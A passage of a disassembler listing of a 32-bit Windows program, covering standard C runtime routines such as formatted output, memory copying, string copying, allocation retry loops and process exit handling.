		jnz	short loc_407557

loc_407563:				; CODE XREF: sub_406D87+7D4j
		sub	eax, [ebp+1F8h+var_21C]
		sar	eax, 1
		jmp	short loc_407589
; ---------------------------------------------------------------------------

loc_40756A:				; CODE XREF: sub_406D87+429j
		cmp	edi, esi
		jnz	short loc_407576
		mov	eax, off_423924
		mov	[ebp+1F8h+var_21C], eax

loc_407576:				; CODE XREF: sub_406D87+7E5j
		mov	eax, [ebp+1F8h+var_21C]
		jmp	short loc_407582
; ---------------------------------------------------------------------------

loc_40757B:				; CODE XREF: sub_406D87+7FDj
		dec	ecx
		cmp	byte ptr [eax],	0
		jz	short loc_407586
		inc	eax

loc_407582:				; CODE XREF: sub_406D87+7F2j
		cmp	ecx, esi
		jnz	short loc_40757B

loc_407586:				; CODE XREF: sub_406D87+7F8j
		sub	eax, [ebp+1F8h+var_21C]

loc_407589:				; CODE XREF: sub_406D87+4E1j
					; sub_406D87+4E9j ...
		mov	[ebp+1F8h+var_220], eax

loc_40758C:				; CODE XREF: sub_406D87+3B0j
					; sub_406D87+461j ...
		cmp	[ebp+1F8h+var_248], 0
		jnz	loc_407691
		mov	eax, [ebp+1F8h+var_210]
		test	al, 40h
		jz	short loc_4075C2
		test	ax, 100h
		jz	short loc_4075A9
		mov	[ebp+1F8h+var_230], 2Dh
		jmp	short loc_4075BB
; ---------------------------------------------------------------------------

loc_4075A9:				; CODE XREF: sub_406D87+81Aj
		test	al, 1
		jz	short loc_4075B3
		mov	[ebp+1F8h+var_230], 2Bh
		jmp	short loc_4075BB
; ---------------------------------------------------------------------------

loc_4075B3:				; CODE XREF: sub_406D87+824j
		test	al, 2
		jz	short loc_4075C2
		mov	[ebp+1F8h+var_230], 20h

loc_4075BB:				; CODE XREF: sub_406D87+820j
					; sub_406D87+82Aj
		mov	[ebp+1F8h+var_234], 1

loc_4075C2:				; CODE XREF: sub_406D87+814j
					; sub_406D87+82Ej
		mov	ebx, [ebp+1F8h+var_238]
		sub	ebx, [ebp+1F8h+var_220]
		sub	ebx, [ebp+1F8h+var_234]
		test	byte ptr [ebp+1F8h+var_210], 0Ch
		jnz	short loc_4075E2
		push	[ebp+1F8h+var_228]
		lea	eax, [ebp+1F8h+var_22C]
		push	ebx
		push	20h
		call	sub_406D19
		add	esp, 0Ch

loc_4075E2:				; CODE XREF: sub_406D87+848j
		push	[ebp+1F8h+var_234]
		mov	edi, [ebp+1F8h+var_228]
		lea	eax, [ebp+1F8h+var_22C]
		lea	ecx, [ebp+1F8h+var_230]
		call	sub_406D3D
		test	byte ptr [ebp+1F8h+var_210], 8
		pop	ecx
		jz	short loc_40760F
		test	byte ptr [ebp+1F8h+var_210], 4
		jnz	short loc_40760F
		push	edi
		push	ebx
		push	30h
		lea	eax, [ebp+1F8h+var_22C]
		call	sub_406D19
		add	esp, 0Ch

loc_40760F:				; CODE XREF: sub_406D87+871j
					; sub_406D87+877j
		cmp	[ebp+1F8h+var_23C], 0
		mov	eax, [ebp+1F8h+var_220]
		jz	short loc_407669
		test	eax, eax
		jle	short loc_407669
		mov	esi, [ebp+1F8h+var_21C]
		mov	[ebp+1F8h+var_260], eax

loc_407622:				; CODE XREF: sub_406D87+8D8j
		movzx	eax, word ptr [esi]
		dec	[ebp+1F8h+var_260]
		push	eax
		push	6
		lea	eax, [ebp+1F8h+var_C]
		push	eax
		lea	eax, [ebp+1F8h+var_268]
		inc	esi
		push	eax
		inc	esi
		call	sub_40DAE2
		add	esp, 10h
		test	eax, eax
		jnz	short loc_407663
		cmp	[ebp+1F8h+var_268], eax
		jz	short loc_407663
		push	[ebp+1F8h+var_268]
		lea	eax, [ebp+1F8h+var_22C]
		lea	ecx, [ebp+1F8h+var_C]
		call	sub_406D3D
		cmp	[ebp+1F8h+var_260], 0
		pop	ecx
		jnz	short loc_407622
		jmp	short loc_407676
; ---------------------------------------------------------------------------

loc_407663:				; CODE XREF: sub_406D87+8BBj
					; sub_406D87+8C0j
		or	[ebp+1F8h+var_22C], 0FFFFFFFFh
		jmp	short loc_407676
; ---------------------------------------------------------------------------

loc_407669:				; CODE XREF: sub_406D87+88Fj
					; sub_406D87+893j
		mov	ecx, [ebp+1F8h+var_21C]
		push	eax
		lea	eax, [ebp+1F8h+var_22C]
		call	sub_406D3D
		pop	ecx

loc_407676:				; CODE XREF: sub_406D87+8DAj
					; sub_406D87+8E0j
		cmp	[ebp+1F8h+var_22C], 0
		jl	short loc_407691
		test	byte ptr [ebp+1F8h+var_210], 4
		jz	short loc_407691
		push	edi
		push	ebx
		push	20h
		lea	eax, [ebp+1F8h+var_22C]
		call	sub_406D19
		add	esp, 0Ch

loc_407691:				; CODE XREF: sub_406D87+57Cj
					; sub_406D87+809j ...
		cmp	[ebp+1F8h+var_24C], 0
		jz	short loc_4076A4 ; default
		push	[ebp+1F8h+var_24C]
		call	sub_4039C3
		and	[ebp+1F8h+var_24C], 0
		pop	ecx

loc_4076A4:				; CODE XREF: sub_406D87+19Cj
					; sub_406D87+1BFj ...
		mov	ebx, [ebp+1F8h+var_240]	; default
		mov	al, [ebx]
		test	al, al
		mov	[ebp+1F8h+var_211], al
		jz	short loc_4076D4
		mov	ecx, [ebp+1F8h+var_26C]
		mov	edi, [ebp+1F8h+var_224]
		mov	dl, al
		jmp	loc_406EE5
; ---------------------------------------------------------------------------

loc_4076BD:				; CODE XREF: sub_406D87+36Ej
					; sub_406D87+55Bj
		call	sub_405B83
		mov	dword ptr [eax], 16h
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		jmp	loc_406DF7
; ---------------------------------------------------------------------------

loc_4076D4:				; CODE XREF: sub_406D87+158j
					; sub_406D87+166j ...
		cmp	[ebp+1F8h+var_250], 0
		jz	short loc_4076E1
		mov	eax, [ebp+1F8h+var_254]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_4076E1:				; CODE XREF: sub_406D87+951j
		mov	eax, [ebp+1F8h+var_22C]

loc_4076E4:				; CODE XREF: sub_406D87+88j
		mov	ecx, [ebp+1F8h+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_402AD0
		add	ebp, 1F8h
		leave
		retn
sub_406D87	endp

; ---------------------------------------------------------------------------
		db 8Dh,	49h, 0
off_4076FF	dd offset loc_4070C9	; DATA XREF: sub_406D87+1A2r
		dd offset loc_406F30	; jump table for switch	statement
		dd offset loc_406F4B
		dd offset loc_406F9A
		dd offset loc_406FD4
		dd offset loc_406FDC
		dd offset loc_407013
		dd offset loc_40710B
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407720	proc near		; CODE XREF: sub_402F60+4Dp
					; sub_405F00+2DAp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_407740
		cmp	edi, eax
		jb	loc_4078E4

loc_407740:				; CODE XREF: sub_407720+16j
		cmp	ecx, 100h
		jb	short loc_407767
		cmp	dword_4356E0, 0
		jz	short loc_407767
		push	edi
		push	esi
		and	edi, 0Fh
		and	esi, 0Fh
		cmp	edi, esi
		pop	esi
		pop	edi
		jnz	short loc_407767
		pop	esi
		pop	edi
		pop	ebp
		jmp	sub_40DC1C
; ---------------------------------------------------------------------------

loc_407767:				; CODE XREF: sub_407720+26j
					; sub_407720+2Fj ...
		test	edi, 3
		jnz	short loc_407784
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4077A4
		rep movsd
		jmp	ds:off_407894[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_407784:				; CODE XREF: sub_407720+4Dj
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_40779C
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_4077A4+4[eax*4]
; ---------------------------------------------------------------------------

loc_40779C:				; CODE XREF: sub_407720+6Ej
		jmp	dword ptr ds:loc_4078A4[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_4077A4:				; CODE XREF: sub_407720+58j
					; sub_407720+B6j ...
		jmp	ds:off_407828[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4077B8
		dd offset loc_4077E4
		dd offset loc_407808
; ---------------------------------------------------------------------------

loc_4077B8:				; DATA XREF: sub_407720+8Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_4077A4
		rep movsd
		jmp	ds:off_407894[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_4077E4:				; DATA XREF: sub_407720+90o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_4077A4
		rep movsd
		jmp	ds:off_407894[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_407808:				; DATA XREF: sub_407720+94o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		add	esi, 1
		shr	ecx, 2
		add	edi, 1
		cmp	ecx, 8
		jb	short loc_4077A4
		rep movsd
		jmp	ds:off_407894[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_407828	dd offset loc_40788B	; DATA XREF: sub_407720:loc_4077A4r
		dd offset loc_407878
		dd offset loc_407870
		dd offset loc_407868
		dd offset loc_407860
		dd offset loc_407858
		dd offset loc_407850
		dd offset loc_407848
; ---------------------------------------------------------------------------

loc_407848:				; CODE XREF: sub_407720:loc_4077A4j
					; DATA XREF: sub_407720+124o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_407850:				; CODE XREF: sub_407720:loc_4077A4j
					; DATA XREF: sub_407720+120o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_407858:				; CODE XREF: sub_407720:loc_4077A4j
					; DATA XREF: sub_407720+11Co
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_407860:				; CODE XREF: sub_407720:loc_4077A4j
					; DATA XREF: sub_407720+118o
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_407868:				; CODE XREF: sub_407720:loc_4077A4j
					; DATA XREF: sub_407720+114o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_407870:				; CODE XREF: sub_407720:loc_4077A4j
					; DATA XREF: sub_407720+110o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_407878:				; CODE XREF: sub_407720:loc_4077A4j
					; DATA XREF: sub_407720+10Co
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_40788B:				; CODE XREF: sub_407720:loc_4077A4j
					; DATA XREF: sub_407720:off_407828o
		jmp	ds:off_407894[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_407894	dd offset loc_4078A4	; DATA XREF: sub_407720+5Cr
					; sub_407720+BAr ...
		dd offset loc_4078AC
		dd offset loc_4078B8
		dd offset loc_4078CC
; ---------------------------------------------------------------------------

loc_4078A4:				; CODE XREF: sub_407720+5Cj
					; sub_407720+BAj ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4078AC:				; CODE XREF: sub_407720+5Cj
					; sub_407720+BAj ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4078B8:				; CODE XREF: sub_407720+5Cj
					; sub_407720+BAj ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4078CC:				; CODE XREF: sub_407720+5Cj
					; sub_407720+BAj ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4078E4:				; CODE XREF: sub_407720+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_407918
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_40790C
		std
		rep movsd
		cld
		jmp	ds:off_407A30[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_40790C:				; CODE XREF: sub_407720+1DDj
					; sub_407720+238j ...
		neg	ecx
		jmp	ds:off_4079E0[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_407918:				; CODE XREF: sub_407720+1D2j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_407930
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_407930+4[eax*4]
; ---------------------------------------------------------------------------

loc_407930:				; CODE XREF: sub_407720+202j
					; DATA XREF: sub_407720+209r
		jmp	ds:off_407A30[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_407943+1
; ---------------------------------------------------------------------------
		push	90004079h
		jns	short loc_407983

loc_407943:				; DATA XREF: sub_407720+218o
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		sub	esi, 1
		shr	ecx, 2
		sub	edi, 1
		cmp	ecx, 8
		jb	short loc_40790C
		std
		rep movsd
		cld
		jmp	ds:off_407A30[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd 2303468Ah, 34788D1h,	0C102468Ah, 478802E9h, 2EE8302h
		dd 8302EF83h
		db 0F9h, 8, 72h
; ---------------------------------------------------------------------------

loc_407983:				; CODE XREF: sub_407720+221j
		mov	ch, bh
		rep movsd
		cld
		jmp	ds:off_407A30[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_40790C
		std
		rep movsd
		cld
		jmp	ds:off_407A30[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4079E4
		dd offset loc_4079EC
		dd offset loc_4079F4
		dd offset loc_4079FC
		dd offset loc_407A04
		dd offset loc_407A0C
		dd offset loc_407A14
off_4079E0	dd offset loc_407A27	; DATA XREF: sub_407720+1EEr
; ---------------------------------------------------------------------------

loc_4079E4:				; DATA XREF: sub_407720+2A4o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax

loc_4079EC:				; DATA XREF: sub_407720+2A8o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax

loc_4079F4:				; DATA XREF: sub_407720+2ACo
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax

loc_4079FC:				; DATA XREF: sub_407720+2B0o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax

loc_407A04:				; DATA XREF: sub_407720+2B4o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax

loc_407A0C:				; DATA XREF: sub_407720+2B8o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax

loc_407A14:				; DATA XREF: sub_407720+2BCo
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_407A27:				; CODE XREF: sub_407720+1EEj
					; DATA XREF: sub_407720:off_4079E0o
		jmp	ds:off_407A30[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_407A30	dd offset loc_407A40	; DATA XREF: sub_407720+1E3r
					; sub_407720:loc_407930r ...
		dd offset loc_407A48
		dd offset loc_407A58
		dd offset loc_407A6C
; ---------------------------------------------------------------------------

loc_407A40:				; CODE XREF: sub_407720+1E3j
					; sub_407720:loc_407930j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_407A48:				; CODE XREF: sub_407720+1E3j
					; sub_407720:loc_407930j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_407A58:				; CODE XREF: sub_407720+1E3j
					; sub_407720:loc_407930j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_407A6C:				; CODE XREF: sub_407720+1E3j
					; sub_407720:loc_407930j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_407720	endp


; =============== S U B	R O U T	I N E =======================================



sub_407A85	proc near		; CODE XREF: sub_402FCC+31p
					; sub_403032+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_0]
		push	ebx
		xor	ebx, ebx
		cmp	ecx, ebx
		push	esi
		push	edi
		jz	short loc_407A9A
		mov	edi, [esp+0Ch+arg_4]
		cmp	edi, ebx
		ja	short loc_407AB5

loc_407A9A:				; CODE XREF: sub_407A85+Bj
					; sub_407A85+3Aj
		call	sub_405B83
		push	16h
		pop	esi
		mov	[eax], esi

loc_407AA4:				; CODE XREF: sub_407A85+5Dj
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_4032F9
		add	esp, 14h
		mov	eax, esi
		jmp	short loc_407AE6
; ---------------------------------------------------------------------------

loc_407AB5:				; CODE XREF: sub_407A85+13j
		mov	esi, [esp+0Ch+arg_8]
		cmp	esi, ebx
		jnz	short loc_407AC1
		mov	[ecx], bl
		jmp	short loc_407A9A
; ---------------------------------------------------------------------------

loc_407AC1:				; CODE XREF: sub_407A85+36j
		mov	edx, ecx

loc_407AC3:				; CODE XREF: sub_407A85+49j
		mov	al, [esi]
		mov	[edx], al
		inc	edx
		inc	esi
		cmp	al, bl
		jz	short loc_407AD0
		dec	edi
		jnz	short loc_407AC3

loc_407AD0:				; CODE XREF: sub_407A85+46j
		cmp	edi, ebx
		jnz	short loc_407AE4
		mov	[ecx], bl
		call	sub_405B83
		push	22h
		pop	ecx
		mov	[eax], ecx
		mov	esi, ecx
		jmp	short loc_407AA4
; ---------------------------------------------------------------------------

loc_407AE4:				; CODE XREF: sub_407A85+4Dj
		xor	eax, eax

loc_407AE6:				; CODE XREF: sub_407A85+2Ej
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_407A85	endp


; =============== S U B	R O U T	I N E =======================================



sub_407AEA	proc near		; CODE XREF: sub_405019+3Bp
					; sub_405CE4+48p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		xor	esi, esi

loc_407AEE:				; CODE XREF: sub_407AEA+39j
		push	[esp+8+arg_0]
		call	sub_403AA0
		mov	edi, eax
		test	edi, edi
		pop	ecx
		jnz	short loc_407B25
		cmp	dword_4279B0, eax
		jbe	short loc_407B25
		push	esi
		call	ds:off_41D0F8
		lea	eax, [esi+3E8h]
		cmp	eax, dword_4279B0
		jbe	short loc_407B1E
		or	eax, 0FFFFFFFFh

loc_407B1E:				; CODE XREF: sub_407AEA+2Fj
		cmp	eax, 0FFFFFFFFh
		mov	esi, eax
		jnz	short loc_407AEE

loc_407B25:				; CODE XREF: sub_407AEA+12j
					; sub_407AEA+1Aj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_407AEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_407B2A	proc near		; CODE XREF: sub_403176+5p
					; sub_4056CA+30p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		xor	esi, esi

loc_407B2E:				; CODE XREF: sub_407B2A+41j
		push	0
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_40DCFF
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_407B6D
		cmp	dword_4279B0, eax
		jbe	short loc_407B6D
		push	esi
		call	ds:off_41D0F8
		lea	eax, [esi+3E8h]
		cmp	eax, dword_4279B0
		jbe	short loc_407B66
		or	eax, 0FFFFFFFFh

loc_407B66:				; CODE XREF: sub_407B2A+37j
		cmp	eax, 0FFFFFFFFh
		mov	esi, eax
		jnz	short loc_407B2E

loc_407B6D:				; CODE XREF: sub_407B2A+1Aj
					; sub_407B2A+22j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_407B2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_407B72	proc near		; CODE XREF: sub_4030C9+58p
					; sub_4030C9+6Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		xor	esi, esi

loc_407B76:				; CODE XREF: sub_407B72+44j
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_40DE1D
		mov	edi, eax
		test	edi, edi
		pop	ecx
		pop	ecx
		jnz	short loc_407BB8
		cmp	[esp+8+arg_4], eax
		jz	short loc_407BB8
		cmp	dword_4279B0, eax
		jbe	short loc_407BB8
		push	esi
		call	ds:off_41D0F8
		lea	eax, [esi+3E8h]
		cmp	eax, dword_4279B0
		jbe	short loc_407BB1
		or	eax, 0FFFFFFFFh

loc_407BB1:				; CODE XREF: sub_407B72+3Aj
		cmp	eax, 0FFFFFFFFh
		mov	esi, eax
		jnz	short loc_407B76

loc_407BB8:				; CODE XREF: sub_407B72+17j
					; sub_407B72+1Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_407B72	endp


; =============== S U B	R O U T	I N E =======================================



sub_407BBD	proc near		; CODE XREF: sub_409188+40p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		xor	esi, esi

loc_407BC1:				; CODE XREF: sub_407BBD+49j
		push	[esp+8+arg_8]
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_40E038
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_407C08
		cmp	[esp+8+arg_8], eax
		jz	short loc_407C08
		cmp	dword_4279B0, eax
		jbe	short loc_407C08
		push	esi
		call	ds:off_41D0F8
		lea	eax, [esi+3E8h]
		cmp	eax, dword_4279B0
		jbe	short loc_407C01
		or	eax, 0FFFFFFFFh

loc_407C01:				; CODE XREF: sub_407BBD+3Fj
		cmp	eax, 0FFFFFFFFh
		mov	esi, eax
		jnz	short loc_407BC1

loc_407C08:				; CODE XREF: sub_407BBD+1Cj
					; sub_407BBD+22j ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_407BBD	endp


; =============== S U B	R O U T	I N E =======================================



sub_407C0D	proc near		; CODE XREF: .text:004043F9p
					; .text:0040441Fp ...

arg_0		= dword	ptr  4

		call	sub_40A004
		push	[esp+arg_0]
		call	sub_409E64
		push	off_423930
		call	sub_405543
		push	0FFh
		call	eax
		add	esp, 0Ch
		retn
sub_407C0D	endp


; =============== S U B	R O U T	I N E =======================================



sub_407C31	proc near		; CODE XREF: sub_407C57+4p

arg_0		= dword	ptr  4

		push	offset aMscoree_dll ; "mscoree.dll"
		call	ds:dword_41D0E0	; GetModuleHandleA
		test	eax, eax
		jz	short locret_407C56
		push	offset aCorexitprocess ; "CorExitProcess"
		push	eax
		call	ds:off_41D0E8
		test	eax, eax
		jz	short locret_407C56
		push	[esp+arg_0]
		call	eax

locret_407C56:				; CODE XREF: sub_407C31+Dj
					; sub_407C31+1Dj
		retn
sub_407C31	endp


; =============== S U B	R O U T	I N E =======================================



sub_407C57	proc near		; CODE XREF: sub_403AA0+34p
					; sub_40428D+1Cp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_407C31
		pop	ecx
		push	[esp+arg_0]
		call	ds:off_41D050
		int	3		; Trap to Debugger
sub_407C57	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_407C6C	proc near		; CODE XREF: sub_4031A5+Cp
		push	8
		call	sub_405DA7
		pop	ecx
		retn
sub_407C6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_407C75	proc near		; CODE XREF: sub_4031DBp
		push	8
		call	sub_405CCF
		pop	ecx
		retn
sub_407C75	endp


; =============== S U B	R O U T	I N E =======================================



sub_407C7E	proc near		; CODE XREF: sub_407DBB+78p
					; sub_407DBB+88p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, eax
		jmp	short loc_407C8E
; ---------------------------------------------------------------------------

loc_407C83:				; CODE XREF: sub_407C7E+14j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_407C8B
		call	eax

loc_407C8B:				; CODE XREF: sub_407C7E+9j
		add	esi, 4

loc_407C8E:				; CODE XREF: sub_407C7E+3j
		cmp	esi, [esp+4+arg_0]
		jb	short loc_407C83
		pop	esi
		retn
sub_407C7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_407C96	proc near		; CODE XREF: sub_407D29+32p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		xor	eax, eax
		jmp	short loc_407CAE
; ---------------------------------------------------------------------------

loc_407C9F:				; CODE XREF: sub_407C96+1Cj
		test	eax, eax
		jnz	short loc_407CB4
		mov	ecx, [esi]
		test	ecx, ecx
		jz	short loc_407CAB
		call	ecx

loc_407CAB:				; CODE XREF: sub_407C96+11j
		add	esi, 4

loc_407CAE:				; CODE XREF: sub_407C96+7j
		cmp	esi, [esp+4+arg_4]
		jb	short loc_407C9F

loc_407CB4:				; CODE XREF: sub_407C96+Bj
		pop	esi
		retn
sub_407C96	endp


; =============== S U B	R O U T	I N E =======================================



sub_407CB6	proc near		; CODE XREF: sub_405DD8+12p
					; sub_40CEC4+27p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ecx, esi
		jnz	short loc_407CDE

loc_407CC1:				; CODE XREF: sub_407CB6+2Fj
		call	sub_405B83
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_4032F9
		add	esp, 14h
		push	16h
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_407CDE:				; CODE XREF: sub_407CB6+9j
		mov	eax, dword_4279B8
		cmp	eax, esi
		jz	short loc_407CC1
		mov	[ecx], eax
		xor	eax, eax
		pop	esi
		retn
sub_407CB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_407CED	proc near		; CODE XREF: sub_405DD8+2Dp
					; sub_40F8D4+11Fp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		xor	esi, esi
		cmp	eax, esi
		jnz	short loc_407D15

loc_407CF8:				; CODE XREF: sub_407CED+2Ej
		call	sub_405B83
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_4032F9
		add	esp, 14h
		push	16h
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_407D15:				; CODE XREF: sub_407CED+9j
		cmp	dword_4279B8, esi
		jz	short loc_407CF8
		mov	ecx, dword_4279C4
		mov	[eax], ecx
		xor	eax, eax
		pop	esi
		retn
sub_407CED	endp


; =============== S U B	R O U T	I N E =======================================



sub_407D29	proc near		; CODE XREF: .text:00404437p

arg_0		= dword	ptr  4

		cmp	ds:off_41EDA4, 0
		jz	short loc_407D4C
		push	offset off_41EDA4
		call	sub_40D002
		test	eax, eax
		pop	ecx
		jz	short loc_407D4C
		push	[esp+arg_0]
		call	ds:off_41EDA4
		pop	ecx

loc_407D4C:				; CODE XREF: sub_407D29+7j
					; sub_407D29+16j
		call	sub_40D94E
		push	offset dword_41D2EC
		push	offset dword_41D2D0
		call	sub_407C96
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short locret_407DBA
		push	esi
		push	edi
		push	offset sub_40B415
		call	sub_4031E1
		mov	esi, offset dword_41D288
		mov	eax, esi
		mov	edi, offset dword_41D2CC
		cmp	eax, edi
		pop	ecx
		jnb	short loc_407D92

loc_407D83:				; CODE XREF: sub_407D29+67j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_407D8B
		call	eax

loc_407D8B:				; CODE XREF: sub_407D29+5Ej
		add	esi, 4
		cmp	esi, edi
		jb	short loc_407D83

loc_407D92:				; CODE XREF: sub_407D29+58j
		cmp	dword_436838, 0
		pop	edi
		pop	esi
		jz	short loc_407DB8
		push	offset dword_436838
		call	sub_40D002
		test	eax, eax
		pop	ecx
		jz	short loc_407DB8
		push	0
		push	2
		push	0
		call	dword_436838

loc_407DB8:				; CODE XREF: sub_407D29+72j
					; sub_407D29+81j
		xor	eax, eax

locret_407DBA:				; CODE XREF: sub_407D29+3Bj
		retn
sub_407D29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


